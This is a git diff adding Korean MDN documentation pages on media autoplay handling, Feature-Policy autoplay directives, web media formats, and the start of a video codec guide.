+<p><code>play</code> 이벤트는 일시 정지된 후 재생될때와 자동 재생이 동작하는 두 경우 모두 발생합니다. 이 말은 즉 <code>play</code> 이벤트가 최초로 발생했다면 페이지가 열린 후 미디어가 처음으로 재생되었다는것을 알 수 있다는 말이죠.</p>
+
+<p>아래 HTML 코드를 확인 해 보세요:</p>
+
+<pre class="brush: html">&lt;video src="myvideo.mp4" autoplay onplay=handleFirstPlay(event)"&gt;</pre>
+
+<p>{{HTMLElement("video")}} 엘리먼트에 {{htmlattrxref("autoplay", "video")}} 속성이 설정되어 있으며, {{domxref("HTMLMediaElement.onplay", "onplay")}} 이벤트 핸들러도 지정되어 있습니다; 이벤트는 <code>handleFirstPlay()</code> 함수로 전달되며 <code>play</code> 이벤트를 인자로 받습니다.</p>
+
+<p><code>handleFirstPlay()</code> 는 아래와 같습니다:</p>
+
+<pre class="brush: js">function handleFirstPlay(event) {
+  let vid = event.target;
+
+  vid.onplay = null;
+
+  // Start whatever you need to do after playback has started
+}</pre>
+
+<p>{{domxref("Event")}} 객체의 {{domxref("Event.target", "target")}} 프로퍼티로 비디오 엘리먼트 참조를 얻은 뒤에, 엘리먼트의 <code>onplay</code> 핸들러를 <code>null</code>로 세팅합니다. 이렇게 하면 향후 모든 <code>play</code> 이벤트가 핸들러로 전달되는 것을 방지합니다. 비디오 일시 정지 후 사용자가 재생하거나 백그라운드 탭으로 전환된 후 브라우저에 의해 자동으로 재생될 때 발생할 수 있습니다.</p>
+
+<p>이 시점에서 여러분의 사이트나 앱은 비디오 시작 후 필요한 모든 작업을 수행할 수 있습니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> autoplay 또는 사용자가 직접 재생하는 경우에도 위 방법은 차이점은 없습니다.</p>
+</div>
+
+<h3 id="play_메소드">play() 메소드</h3>
+
+<p>사용자 입력 이벤트에서 시작된 컨텍스트 밖에서 오디오가 포함된 미디어를 재생하는 시나리오도 자동 재생(autoplay)라 부릅니다. 미디어 엘리먼트의 {{domxref("HTMLMediaElement.play", "play()")}} 메소드를 호출하면 가능합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> 가능하다면 <code>autoplay</code> 속성을 사용하는 걸 항상 추천합니다. 왜냐면 다른 방식으로 자동 재생하는 방법보다 <code>autoplay</code> 속성에 대한 지원이 더 잘 되어 있기 때문입니다. 또한 자동 재생 방식과 시점을 브라우저가 최적으로 결정할 수 있게 합니다.</p>
+</div>
+
+<h4 id="예시_비디오_재생">예시: 비디오 재생</h4>
+
+<p>아래는 문서 내의 첫번째 {{HTMLElement("video")}} 엘리먼트를 찾아 재생하는 간단한 예제입니다. <code>play()</code> 는 자동 재생 권한을 획득하기 전까지는 재생하지 않습니다.</p>
+
+<pre class="brush: js">document.querySelector("video").play();</pre>
+
+<h4 id="예시_play_실패_처리">예시: play() 실패 처리</h4>
+
+<p>{{domxref("HTMLMediaElement.play", "play()")}} 메소드로 재생한 경우 자동 재생 실패를 탐지하는 것은 매우 쉽습니다. <code>play()</code> 함수가 재생 성공시 resolve되고 실패 시(자동 재생이 거부되거나) reject되는 {{jsxref("Promise")}}를 반환하기 때문이죠. 자동 재생이 실패한 경우 수동으로 사용자에게 자동 재생 권한을 요청하면 됩니다.</p>
+
+<p>아래와 같은 코드로 해결할 수 있습니다:</p>
+
+<pre class="brush: js">let startPlayPromise = videoElem.play();
+
+if (startPlayPromise !== undefined) {
+  startPlayPromise.catch(error =&gt; {
+    if (error.name === "NotAllowedError") {
+      showPlayButton(videoElem);
+    } else {
+      // Handle a load or playback error
+    }
+  }).then(() =&gt; {
+    // Start whatever you need to do only after playback
+    // has begun.
+  });
+}
+</pre>
+
+<p><code>play()</code>의 반환값이 <code>undefined</code>가 아닌 지 먼저 확인해야합니다. 과거 버전 HTML 표준에서는 <code>play()</code> 의 반환 값이 정의되어 있지 않기 때문입니다. Promise를 반환하여 재생 성공/실패를 알 수 있게 된 것은 최근의 일입니다. <code>undefined</code>인지 체크하여 구형 브라우저에서 오류가 발생하지 않도록 하세요.</p>
+
+<p>그 후 promise에 {{jsxref("Promise.catch", "catch()")}} 핸들러를 추가합니다. 핸들러는 에러의 {{domxref("DOMException.name", "name")}}이 <code>NotAllowedError</code>인지 체크합니다. 이는 재생이 실패한 이유가 자동 재생 금지 같은 퍼미션 문제인지 알 수 있습니다. 그 경우 여러분은 사용자가 직접 재생할 수 있도록 UI를 표시해야 합니다; <code>showPlayButton()</code> 함수가 하는 일이죠.</p>
+
+<p>다른 에러도 적절하게 처리해 줍니다.</p>
+
+<p><code>play()</code>가 반환 한 promise가 에러 없이 resolveed 되면, <code>then()</code> 절에서 자동 재생 성공 후 하려는 뭐든지 수행하면 됩니다.</p>
+
+<h2 id="Web_Audio_API를_이용한_자동_재생">Web Audio API를 이용한 자동 재생</h2>
+
+<p>웹사이트나 앱에서 <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a>의 {{domxref("AudioContext")}} 같은 노드에서 <code>start()</code> 메소드를 호출하여 오디오를 자동 재생할 수 있습니다. 사용자 입력 컨텍스트에 벗어난 곳에서 호출할 경우에는 자동 재생 규칙이 적용됩니다.</p>
+
+<p><em>상세한 내용 추가 예정; 모질라는 아직 자동 재생 방지 기능을 작업 중입니다. 다른 곳에 이미 구현되었다면 여기에 마음 껏 내용을 추가해 주세요...</em></p>
+
+<h2 id="자동_재생_기능_정책">자동 재생 기능 정책</h2>
+
+<p>지금까지 설명한 브라우저 측의 자동 재생 관리 및 처리 기능도 있지만, 웹 서버도 자동 재생 여부를 결정할 수 있습니다. {{Glossary("HTTP")}} {{HTTPHeader("Feature-Policy")}} 헤더의 <code><a href="/en-US/docs/Web/HTTP/Headers/Feature-Policy/autoplay">autoplay</a></code> 디렉티브가 해당 용도입니다. 존재만 하면 자동 재생할 때 쓸 수 있습니다. 기본적으로 <code>autoplay</code>의 allowlist는 <code>'self'</code> (<em>홑따옴표 포함</em>)이며, 현재 문서와 동일한 domain에만 허용하고 있습니다.</p>
+
+<p><code>'none'</code>으로 지정하여 전역으로 자동 재생을 막을 수 있습니다. <code>'*'</code> 는 모든 도메인에서 전송된 미디어를 자동 재생하도록 허용합니다. 오리진은 하나의 space 문자로 구분 됩니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> 명시된 feature policy는 현재 문서와 내부의 모든 {{HTMLElement("iframe")}}에 적용됩니다. 단 {{htmlattrxref("allow", "iframe")}} 어트리뷰트를 가진 iframe과 해당 프레임의 내부 프레임은 새로운 feature policy가 적용되며 상위의 feature policy는 무시됩니다.</p>
+</div>
+
+<p><code>&lt;iframe&gt;</code>에 {{htmlattrxref("allow", "iframe")}}를 추가하여 해당 프레임과 내부 프레임에 feature policy를 적용하면, {{htmlattrxref("src", "iframe")}} 어트리뷰트에서 지정된 도메인에서만 미디어를 자동 재생 하도록 허용할 수 있습니다.</p>
+
+<h3 id="예시_document의_domain에서만_자동_재생_허용">예시: document의 domain에서만 자동 재생 허용</h3>
+
+<p>{{HTTPHeader("Feature-Policy")}} 헤더를 사용하여 document의 {{Glossary("origin")}}에서만 자동 재생을 허용하는 예시입니다:</p>
+
+<pre>Feature-Policy: autoplay 'self'</pre>
+
+<p>{{HTMLElement("iframe")}}에서 동일한 작업을 합니다:</p>
+
+<pre class="brush: html">&lt;iframe src="mediaplayer.html"
+        allow="autoplay 'src'"&gt;
+&lt;/iframe&gt;
+</pre>
+
+<h3 id="예시_전체_화면에서_자동_재생_허용">예시: 전체 화면에서 자동 재생 허용</h3>
+
+<p>이전 예시에 추가로 <a href="/en-US/docs/Web/API/Fullscreen_API">Fullscreen API</a> 권한을 더하면 <code>Feature-Policy</code> 헤더는 아래와 같습니다. 도메인에 상관 없이 허용한 경우인데요; 필요하다면 도메인 제한을 추가할 수 있습니다.</p>
+
+<pre>Feature-Policy: autoplay 'self'; fullscreen</pre>
+
+<p><code>&lt;iframe&gt;</code> 엘리먼트의 <code>allow</code> 프로퍼티를 통해서 동일한 작업을 하면 아래와 같습니다:</p>
+
+<pre class="brush: html">&lt;iframe src="mediaplayer.html"
+        allow="autoplay 'src'; fullscreen"&gt;
+&lt;/iframe&gt;
+</pre>
+
+<h3 id="예시_특정_리소스만_자동_재생_허용">예시: 특정 리소스만 자동 재생 허용</h3>
+
+<p>document(또는 <code>&lt;iframe&gt;</code>)의 도메인과 <code>https://example.media</code> 에서만 자동 재생을 허용하기 위해서는 <code>Feature-Policy</code> 를 아래와 같이 작성합니다:</p>
+
+<pre>Feature-Policy: autoplay 'self' https://example.media</pre>
+
+<p>그리하여 {{HTMLElement("iframe")}} 역시 자신과 자식 프레임에서 자동 재생 정책을 사용하기 위해 아래와 같이 작성할 수 있습니다:</p>
+
+<pre class="brush: html">&lt;iframe width="300" height="200"
+        src="mediaplayer.html"
+        allow="autoplay 'src' https://example.media"&gt;
+&lt;/iframe&gt;
+</pre>
+
+<h3 id="예시_자동_재생_비활성">예시: 자동 재생 비활성</h3>
+
+<p><code>autoplay</code> feature policy를 <code>'none'</code>으로 지정하면 전체 document, <code>&lt;iframe&gt;</code> 및 모든 내부 프레임에서 자동 재생이 불가능합니다. 헤더는 다음과 같습니다:</p>
+
+<pre>Feature-Policy: autoplay 'none'</pre>
+
+<p><code>&lt;iframe&gt;</code>의 <code>allow</code> 어트리뷰트를 쓴다면:</p>
+
+<pre class="brush: html">&lt;iframe src="mediaplayer.html"
+        allow="autoplay 'none'"&gt;
+&lt;/iframe&gt;
+</pre>
+
+<h2 id="유용한_사례">유용한 사례</h2>
+
+<p>자동 재생을 적절하게 활용하기 위한 팁과 사례들을 모아 보았습니다.</p>
+
+<h3 id="Media_control을_통해_자동_재생_실패_처리하기">Media control을 통해 자동 재생 실패 처리하기</h3>
+
+<p>자동 재생하는 대표적인 케이스는 본문이나 광고 또는 페이지의 메인 기능에 대한 프리뷰로써 짧은 비디오 클립을 자동으로 재생하는 경우입니다. 이 경우 두 가지 선택지가 있습니다: 오디오가 없는 비디오를 재생하거나, 오디오가 있어도 기본적으로 음소거하거나, 아래처럼요:</p>
+
+<pre class="brush: html">&lt;video src="/videos/awesomevid.webm" controls autoplay muted&gt;</pre>
+
+<p>이 비디오 엘리먼트는 user control 어트리뷰트가 설정되어 있습니다 (보통 재생/일시정지, 비디오 타임라인 탐색, 볼륨 컨트롤, 음소거 등); 또한 {{htmlattrxref("muted", "video")}} 어트리뷰트가 포함되어 있어 자동 재생 되지만 음소거 상태입니다. 하지만 사용자는 볼륨 버튼을 클릭하여 음소거를 해제할 수 있죠.</p>
+
+<h2 id="브라우저_설정_옵션">브라우저 설정 옵션</h2>
+
+<p>브라우저는 보통 자동 재생 동작 방식을 컨트롤하기 위한 사전 설정, 혹은 자동 재생 방지 처리법을 가지고 있습니다. 그런 사전 설정들 중에 웹개발자인 여러분들에게 중요하거나 유용할 사전 설정들을 나열해 보았습니다. 이 설정들은 테스트 및 디버깅에 필요할 뿐만 아니라 실제로 도입되기 전 준비하는 데에도 유용합니다.</p>
+
+<h3 id="Firefox">Firefox</h3>
+
+<dl>
+ <dt><code>media.allowed-to-play.enabled</code></dt>
+ <dd>{{domxref("HTMLMediaElement.allowedToPlay")}} 프로퍼티의 노출 여부를 불리언 값으로 표현합니다. 현재는 기본값이 <code>false</code> 입니다(nightly builds는 예외로, 기본 값이 <code>true</code> 입니다). <code>false</code>라면, <code>HTMLMediaElement</code>에 <code>allowedToPlay</code> 프로퍼티가 없으며, {{HTMLElement("audio")}}와 {{HTMLElement("video")}} 엘리먼트에도 없습니다.</dd>
+ <dt><code>media.autoplay.allow-extension-background-pages</code></dt>
+ <dd>불리언 값으로, <code>true</code>라면 브라우저 확장의 백그라운드 스크립트가 오디오를 자동 재생 할 수 있습니다. <code>false</code>로 세팅하면 해당 기능을 막습니다. 기본 값은 <code>true</code>입니다.</dd>
+ <dt><code>media.autoplay.allow-muted</code></dt>
+ <dd>불리언 값으로 (기본 값) <code>true</code>는 현재 음소거 상태인 오디오 자동 재생을 허용합니다. <code>false</code>로 바뀔 때 오디오 트랙이 포함된 미디어는 음소거 상태라도 자동 재생이 불가능합니다.</dd>
+ <dt><code>media.autoplay.block-webaudio</code></dt>
+ <dd><a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a>를 통한 자동 재생도 차단할 지 여부를 불리언값으로 표현합니다. 기본 값은 <code>true</code>입니다.</dd>
+ <dt><code>media.autoplay.default</code></dt>
+ <dd>도메인 별 자동 재생 설정 값을 정수로 표현합니다. 허용 (<code>0</code>), 금지 (<code>1</code>), 확인 요청 (<code>2</code>). 기본 값은 <code>0</code>입니다.</dd>
+ <dt><code>media.autoplay.enabled.user-gestures-needed</code> (Nightly builds only)</dt>
+ <dd><code>media.autoplay.default</code> 값에 우선하여 사용자 제스쳐 적용 여부를 불리언 값으로 표현합니다. <code>media.autoplay.default</code> 값이 <code>0</code>이 <em>아닌</em> 경우(자동 재생이 기본으로 허용), 이 설정이 <code>true</code> 일 때 사용자 제스쳐를 통한 activation 후 오디오 트랙이 있는 미디어의 자동 재생이 가능해 집니다. 오디오가 없는 미디어는 제한되지 않습니다.</dd>
+ <dt><code>media.block-autoplay-until-in-foreground</code></dt>
+ <dd>백그라운드 탭에서 미디어 재생 시 제한 여부를 불리언 값으로 표현합니다. 기본 값 <code>true</code>는 다른 값이 허용이더라도 포그라운드에 탭이 올라오기 전까지 자동 재생이 불가능합니다. 이 설정은 어느 탭에선가 오디오를 재생했는데 사용자는 찾지 못해 탭을 뒤적이는 등의 짜증나는 시츄에이션을 방지해 줍니다.</dd>
+</dl>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Media">Web media technologies</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Video and audio content</a> (Learning guide)</li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+ <li><a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/Cross-browser_audio_basics">Cross-browser audio basics</a></li>
+</ul>
diff --git a/files/ko/web/media/formats/index.html b/files/ko/web/media/formats/index.html
new file mode 100644
index 0000000000..08785a2212
--- /dev/null
+++ b/files/ko/web/media/formats/index.html
@@ -0,0 +1,86 @@
+---
+title: Guide to media types and formats on the web
+slug: Web/Media/Formats
+tags:
+  - API
+  - Audio
+  - Codecs
+  - Containers
+  - File Types
+  - Files
+  - Filetypes
+  - Landing
+  - Media
+  - NeedsTranslation
+  - TopicStub
+  - Types
+  - Video
+  - Web
+  - formats
+translation_of: Web/Media/Formats
+---
+<p>Since nearly the beginning, the web has included support for some form of visual media presentation. Originally, these capabilities were limited, and were expanded organically, with different browsers finding their own solutions to the problems around including still and video imagery on the web. The modern web has powerful features to support the presentation and manipulation of media, with several media-related APIs supporting various types of content. Generally, the media formats supported by a browser are entirely up to the browser's creators, which can complicate the work of a web developer.</p>
+
+<p><span class="seoSummary">This guide provides an overview of the media file types, {{Glossary("codec", "codecs")}}, and algorithms that may comprise media used on the web.</span> Browser support information for various combinations of these is also provided, and suggestions for prioritization of formats as well as which formats excel at specific types of content are also provided.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="References">References</h2>
+
+<h3 id="Images">Images</h3>
+
+<dl>
+ <dt><span style="display: none;"> </span><a href="/en-US/docs/Web/Media/Formats/Image_types">Image file type and format guide</a></dt>
+ <dd>Covers image file type and content format support across the major web browsers, as well as providing basic information about each type: benefits, limitations, and use cases of interest to web designers and developers.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Images_for_web_designers">Image file types for web designers</a></dt>
+ <dd>Fundamental information about the various image file types that may be useful for web designers, including best practices and use cases for each type, and guidelines for choosing the right image file format for specific types of content.</dd>
+</dl>
+
+<h3 id="Media_file_types_and_codecs">Media file types and codecs</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Containers">Media containers (file types)</a></dt>
+ <dd>A guide to the file types that contain media data. Some are audio-specific, while others may be used for audio and/or combined audiovisual content such as movies. Includes overviews of each of the file types supported by the major web browsers, along with browser support information and supported features.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Audio_codecs">Web audio codec guide</a></dt>
+ <dd>A guide to the audio codecs allowed for by the common media containers, as well as by the major browsers. Includes benefits, limitations, key specifications and capabilities, and use cases. The support each browser has for using the codec in given containers is also covered.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Video_codecs">Web video codec guide</a></dt>
+ <dd>This article provides basic information about the video codecs supported by the major browsers, as well as potentially some not commonly supported that you might still run into. Codec capabilities, benefits, limitations, and browser support levels and restrictions are covered as well.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/codecs_parameter">The "codecs" parameter in common media types</a></dt>
+ <dd>When specifying the MIME type describing a media format, you can provide details using the <code>codecs</code> parameter as part of the type string. In this guide, the format and possible values of the <code>codecs</code> parameter for the common media types are described.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/WebRTC_codecs">Codecs used by WebRTC</a></dt>
+ <dd><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> doesn't use a container, but instead streams the encoded media itself from peer to peer using {{domxref("MediaStreamTrack")}} objects to represent each audio or video track. In this guide, the codecs commonly used with WebRTC are discussed.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="Guides">Guides</h2>
+
+<h3 id="Concepts">Concepts</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Audio_concepts">Digital audio concepts</a></dt>
+ <dd>An introduction to how audio is converted into digital form and stored for use by computers. Basics about how audio is sampled are explained, as are concepts such as sample rate, audio frames, and audio compression.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Video_concepts">Digital video concepts</a></dt>
+ <dd>A guide to fundamental concepts involved with digital video as used on the web, including basics about color formats, chroma subsampling, how human perception influences video coding, and so forth.</dd>
+</dl>
+
+<h3 id="Tutorials_and_how-tos">Tutorials and how-tos</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Learning: Video and audio content</a></dt>
+ <dd>In this tutorial, the use of media on the web is introduced and covered in reasonable detail.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Support_issues">Handling media support issues in web content</a></dt>
+ <dd>In this guide, we look at how to build web content that maximizes quality and/or performance while providing the broadest possible compatibility by choosing media formats wisely, and offering fallbacks and alternate formats where it would be helpful.</dd>
+</dl>
+
+<h2 id="Other_topics">Other topics</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/Media_Capabilities_API">Media Capabilities API</a></dt>
+ <dd>The Media Capabilities API lets you determine the encoding and decoding capabilities of the device your app or site is running on. This lets you make real-time decisions about what formats to use and when.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/ko/web/media/formats/비디오코덱/index.html b/files/ko/web/media/formats/비디오코덱/index.html
new file mode 100644
index 0000000000..5cccc89329
--- /dev/null
+++ b/files/ko/web/media/formats/비디오코덱/index.html
@@ -0,0 +1,1646 @@
+---
+title: 웹 비디오 코덱 가이드
+slug: Web/Media/Formats/비디오코덱
+translation_of: Web/Media/Formats/Video_codecs
+---
+<p>압축되지 않은 비디오 데이터는 그 크기가 엄청나기 때문에, 저장하거나 네트워크를 통해 전송하기 위해서는 아주 작게 압축해야 합니다. 압축되지 않은 비디오를 저장하는 과정을 상상해 봅시다:</p>
+
+<ul>
+ <li>HD(1920x1080) 풀 컬러(픽셀 당 4바이트) 비디오의 한 프레임은 8,294,400 입니다.</li>
+ <li>보통 초당 30프레임이므로 HD 비디오 1초는 248,832,000바이트 (~249 MB)를 잡아 먹습니다.</li>
+ <li>HD 1분은 1.39 GB가 필요합니다.</li>
+ <li>일반적인 30분짜리 비디오 컨퍼런스의 경우 47.1 GB가 필요하며, 2시간짜리 영화는 무려<em> 166 GB</em>입니다.</li>
+</ul>
+
+<p>비압축된 비디오 데이터는 스토리지 공간이 많이 필요할 뿐만 아니라 네트워크로 전송할 경우에도 어마어마한 대역폭이 필요합니다. 오디오와 오버헤드를 제외하고도 초당 249 MB가 필요하죠. 여기서 비디오 코덱이 등장합니다. 오디오 코덱이 사운드 데이터를 처리하듯이 비디오 코덱도 비디오 데이터를 압축하고 적절한 포맷으로 인코딩하여, 이후에 디코딩하여 재생 또는 편집할 수 있도록 합니다.</p>
+
+<p>대부분의 비디오 코덱은 손실 압축입니다. 디코딩해도 원본과 완전히 동일하지 않죠. 디테일한 부분이 사라질 수 있는데; 얼마나 사라지는지는 코덱와 설정에 달렸습니다만 압축율을 높일수록 디테일과 정확도는 감소합니다. 무손실 코덱도 있긴 합니다만, 보통 기록 보존 및 로컬 재생에만 염두에 두고 있는 경우가 많습니다.</p>
+
+<p><span class="seoSummary">이 문서는 웹에서 흔히 볼 수 있는 비디오 코덱을 소개하고 각각의 기능과 호환성, 사용성에 대해 설명하고 여러분에게 필요한 적절한 코덱을 찾는 법을 안내합니다.</span></p>
+
+<h2 id="일반_코덱">일반 코덱</h2>
+
+<p>웹에서 널리 쓰이는 비디오 코덱은 아래와 같습니다. 각 코덱마다 해당 코덱을 지원하는 컨테이너(파일 타입)도 나열되어 있습니다. 각 코덱의 링크를 클릭하면 해당 코덱에 대해 세부정보, 기능, 호환성 등 필요한 내용이 추가된 하단 섹션으로 이동합니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row">코덱 이름 (축약어)</th>
+   <th scope="col">전체 코덱 이름</th>
+   <th scope="col">지원하는 컨테이너</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/Media/Formats/Video_codecs#AV1">AV1</a></th>
+   <td>AOMedia Video 1</td>
+   <td><a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a></td>
+  </tr>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/Media/Formats/Video_codecs#AVC_(H.264)">AVC (H.264)</a></th>
+   <td>Advanced Video Coding</td>
+   <td><a href="/en-US/docs/Web/Media/Formats/Containers#3GP">3GP</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a></td>
+  </tr>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/Media/Formats/Video_codecs#H.263">H.263</a></th>
+   <td>H.263 Video</td>
+   <td><a href="/en-US/docs/Web/Media/Formats/Containers#3GP">3GP</a></td>
+  </tr>
+  <tr>
+   <th scope="row"><a href="#HEVC">HEVC (H.265)</a></th>
+   <td>High Efficiency Video Coding</td>
+   <td><a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a></td>
+  </tr>
+  <tr>
+   <th scope="row">{{anch("MP4V-ES")}}</th>
+   <td>MPEG-4 Video Elemental Stream</td>
+   <td><a href="/en-US/docs/Web/Media/Formats/Containers#3GP">3GP</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a></td>
+  </tr>
+  <tr>
+   <th scope="row">{{anch("MPEG-1")}}</th>
+   <td>MPEG-1 Part 2 Visual</td>
+   <td><a href="/en-US/docs/Web/Media/Formats/Containers#MPEGMPEG-2">MPEG</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#QuickTime">QuickTime</a></td>
+  </tr>
+  <tr>
+   <th scope="row">{{anch("MPEG-2")}}</th>
+   <td>MPEG-2 Part 2 Visual</td>
+   <td><a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#MPEGMPEG-2">MPEG</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#QuickTime">QuickTime</a></td>
+  </tr>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/Media/Formats/Video_codecs#Theora">Theora</a></th>
+   <td>Theora</td>
+   <td><a href="/en-US/docs/Web/Media/Formats/Containers#Ogg">Ogg</a></td>
+  </tr>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/Media/Formats/Video_codecs#VP8">VP8</a></th>
+   <td>Video Processor 8</td>
+   <td><a href="/en-US/docs/Web/Media/Formats/Containers#3GP">3GP</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#Ogg">Ogg</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a></td>
+  </tr>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/Media/Formats/Video_codecs#VP9">VP9</a></th>
+   <td>Video Processor 9</td>
+   <td><a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#Ogg">Ogg</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="인코딩_관여_요소">인코딩 관여 요소</h2>
+
+<p>어떤 인코더를 사용하든지간에 인코딩된 비디오의 크기와 퀄리티를 결정하는 두 개의 기본적인 요소 그룹이 있습니다: 하나는 소스 비디오의 포맷와 콘텐츠이며 나머지는 인코딩 시 코덱의 특징 및 설정입니다.</p>
+
+<p>요약하자면 이겁니다:인코딩 된 비디오가 원본에 가까울수록, 압축율은 적고 비디오 파일 크기는 커집니다. 그러므로 사이즈와 퀄리티는 항상 트레이드 오프가 있습니다. 특별한 경우에는 퀄리티 손실을 크게 감수하고서라도 사이즈를  많이 줄여야 할 필요가 있을 수도 있으며;반대로 고용량의 파일을 생성하더라도 퀄리티를 최대한 유지해야 하는 경우도 있습니다.</p>
+
+<h3 id="인코딩_된_비디오에_영향을_끼치는_소스_포맷">인코딩 된 비디오에 영향을 끼치는 소스 포맷</h3>
+
+<p>소스 비디오의 형식이 출력에 영향을 미치는 정도는 코덱과 작동 방식에 따라 다릅니다. 코덱이 미디어를 내장 픽셀 포맷으로 변환하거나 심플 픽셀 이외의 방식으로 이미지를 표현하는 경우에는 원본 포맷에 따른 차이는 거의 없습니다. 하지만 프레임 레이트나 해상도는 반드시 출력 미디어 크기에 영향을 미치게 되죠.</p>
+
+<p>또한 모든 코덱은 각각 장단점이 있습니다. 어떤 코덱은 특정한 형태와 패턴에 약하거나 엣지 선명도가 약하거나, 암부의 디테일이 떨어지거나 등의 여러가지 문제가 있을 수 있죠. 모든 건 기저의 알고리즘과 수학 공식에 달렸습니다.</p>
+
+<table class="standard-table">
+ <caption>인코딩 된 비디오의 품질과 크기에 영향을 줄 수 있는 비디오 포맷과 콘텐츠</caption>
+ <thead>
+  <tr>
+   <th scope="row">기능</th>
+   <th scope="col">품질에 영향</th>
+   <th scope="col">크기에 영향</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Color depth (bit depth)</th>
+   <td>색 깊이가 높을수록 비디오의 색상 정확도가 높아집니다. Additionally, 이미지의 강렬한 부분 (빛이나 순수한 빨강  [<code>rgba(255, 0, 0, 1)</code>] 등 매우 원색적인 색상), 컴포넌트당 10bit (10-bit color) 이하의 색 깊이에서는 그라데이션 부분이 마치 계단처럼 색상이 분리되는 현상인 컬러 밴딩이 발생할 수 밖에 없습니다.</td>
+   <td>코덱에 따라 다르지만 색 깊이가 높을 수록 압축된 파일 사이즈가 커지게 됩니다. 압축 데이터의 내장 스토리지 포맷에 따라 결정됩니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">프레임 레이트</th>
+   <td>이미지 상에 보여지는 움직임이 얼마나 부드러운지에 크게 영향을 끼칩니다. 프레임 레이트가 높을 수록 움직임이 더 부드럽고 현실에 가까워 집니다. 계속 높이다보면 압축의 의미가 없어지는 지점에 도달하게 되죠. 아래의 {{anch("Frame rate")}} 절을 참조하세요.</td>
+   <td>인코딩 도중 프레임 레이트를 감소시키지 않는 다면 높을 수록 압축된 결과물이 커집니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">움직임(Motion)</th>
+   <td>비디오 압축은 일반적으로 프레임을 비교하면서 수행합니다. 두 프레임이 어디가 다른지 찾아낸 후 이전 프레임에서 다음 프레임을 예측하기 위핸 최소한의 정보만을 기록하는 방식입니다. 연속된 프레임이 다른 것들과 다를 수록 차이점도 많아지고 the less effective the compression is at avoiding the introduction of artifacts into the compressed video.</td>
+   <td>움직임이 복잡할 수록 프레임간의 차이점이 많아 지므로 인터프레임이 커지게 됩니다. 이를 비롯한 여러가지 이유로 인해 일반적으로 움직임이 많은 영상일수록 사이즈가 큽니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">잡음(Noise)</th>
+   <td>픽쳐 노이즈(필름 그레인 효과, 먼지 등 이미지의 불규칙한 점들)는 픽셀간 변화폭을 늘립니다. 증가된 변화폭은 압축을 어렵게 하고 동일한 압축 레벨일 때 디테일을 떨어뜨리는 원흉이 되죠.</td>
+   <td>이미지에 -노이즈 같이- 변화폭이 큰 부분이 많을수록 압축 알고리즘이 비슷한 수준으로 이미지를 압축하기 어렵습니다. 노이즈로 인한 변화폭을 무시하도록 인코더를 세팅하지 않는 한 노이즈가 많을 수록 압축된 비디오 파일 크기도 커질겁니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">해상도(width, height)</th>
+   <td>압축하는 과정에 특이사항이 발생하지 않는 한 동일한 크기의 스크린에 더 높은 해상도의 비디오가 출력될 수록 원본에 가까운 영상을 볼 수 있습니다.</td>
+   <td>해상도가 높을수록 비디오 크기도 커집니다. 최종 사이즈에 결정적인 요소죠.</td>
+  </tr>
+ </tbody>
+</table>
+
